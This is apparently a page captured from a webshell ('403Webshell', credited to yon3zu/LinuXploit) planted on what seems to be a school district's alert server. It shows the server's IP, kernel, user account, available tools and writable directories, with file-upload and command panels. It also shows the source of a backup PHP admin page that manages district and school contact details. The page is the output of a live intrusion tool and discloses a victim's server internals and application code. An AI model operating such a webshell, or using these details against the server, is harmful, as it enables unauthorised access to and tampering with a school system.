403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcsd/School-alert/Backup files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcsd/School-alert/Backup files/profile.php.centered
<?php
session_start();
require 'config/db.php';

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Check if the user is logged in and has admin privileges
if (!isset($_SESSION['user_id']) || $_SESSION['role'] !== 'admin') {
    header('Location: dashboard.php');
    exit();
}

// Ensure district_id is set in the session
if (!isset($_SESSION['district_id'])) {
    die('Error: district_id is not set in the session.');
}

$district_id = $_SESSION['district_id'];

// Fetch the current district and its schools
$stmt = $pdo->prepare("SELECT * FROM districts WHERE district_id = ?");
$stmt->execute([$district_id]);
$district = $stmt->fetch(PDO::FETCH_ASSOC);

if (!$district) {
    die('Error: No district found for the specified district_id.');
}

$schools_stmt = $pdo->prepare("SELECT * FROM schools WHERE district_id = ?");
$schools_stmt->execute([$district_id]);
$schools = $schools_stmt->fetchAll(PDO::FETCH_ASSOC);

// Handle updating district information
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['update_district'])) {
    $district_name = $_POST['district_name'];
    $contact_email = $_POST['contact_email'];

    try {
        $stmt = $pdo->prepare("UPDATE districts SET district_name = ?, contact_email = ? WHERE district_id = ?");
        $stmt->execute([$district_name, $contact_email, $district_id]);
        header('Location: profile.php?message=District information updated successfully');
        exit();
    } catch (PDOException $e) {
        echo "Error updating district information: " . $e->getMessage();
    }
}

// Handle adding a new school
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['add_school'])) {
    $school_name = $_POST['school_name'];
    $school_address = $_POST['school_address'];
    $school_phone = $_POST['school_phone'];
    $notification_emails = $_POST['school_notification_emails'];

    try {
        $stmt = $pdo->prepare("INSERT INTO schools (district_id, name, address, phone, notification_emails) VALUES (?, ?, ?, ?, ?)");
        $stmt->execute([$district_id, $school_name, $school_address, $school_phone, $notification_emails]);
        header('Location: profile.php?message=New school added successfully');
        exit();
    } catch (PDOException $e) {
        echo "Error adding school: " . $e->getMessage();
    }
}
?>

<?php include __DIR__ . '/views/header.php'; ?>

<h2 style="margin-bottom: 10px;">District Profile</h2>
<form method="POST" action="profile.php" style="margin-bottom: 20px;">
    <input type="hidden" name="update_district" value="1">
    <label for="district_name">District Name:</label>
    <input type="text" id="district_name" name="district_name" value="<?= htmlspecialchars($district['district_name']) ?>" required style="margin-bottom: 10px;">

    <label for="contact_email">Contact Email:</label>
    <input type="email" id="contact_email" name="contact_email" value="<?= htmlspecialchars($district['contact_email']) ?>" required style="margin-bottom: 10px;">

    <button type="submit" style="padding: 8px 16px; margin-top: 10px;">Update District Info</button>
</form>

<h3 style="margin-bottom: 10px;">Schools in This District</h3>
<ul style="margin-bottom: 20px;">
    <?php foreach ($schools as $school): ?>
        <li style="margin-bottom: 15px;">
            <strong><?= htmlspecialchars($school['name']) ?></strong><br>
            Address: <?= htmlspecialchars($school['address']) ?><br>
            Phone: <?= htmlspecialchars($school['phone']) ?><br>
            Notification Emails: <?= htmlspecialchars($school['notification_emails']) ?>
        </li>
    <?php endforeach; ?>
</ul>

<h3 style="margin-bottom: 10px;">Add a New School</h3>
<form method="POST" action="profile.php" style="margin-bottom: 20px;">
    <input type="hidden" name="add_school" value="1">
    <label for="school_name">School Name:</label>
    <input type="text" id="school_name" name="school_name" required style="margin-bottom: 10px;">

    <label for="school_address">Address:</label>
    <input type="text" id="school_address" name="school_address" required style="margin-bottom: 10px;">

    <label for="school_phone">Phone:</label>
    <input type="text" id="school_phone" name="school_phone" required style="margin-bottom: 10px;">

    <label for="school_notification_emails">Notification Emails (separate with commas):</label>
    <textarea id="school_notification_emails" name="school_notification_emails" rows="3" required style="margin-bottom: 10px;"></textarea>

    <button type="submit" style="padding: 8px 16px;">Add School</button>
</form>

<?php include __DIR__ . '/views/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit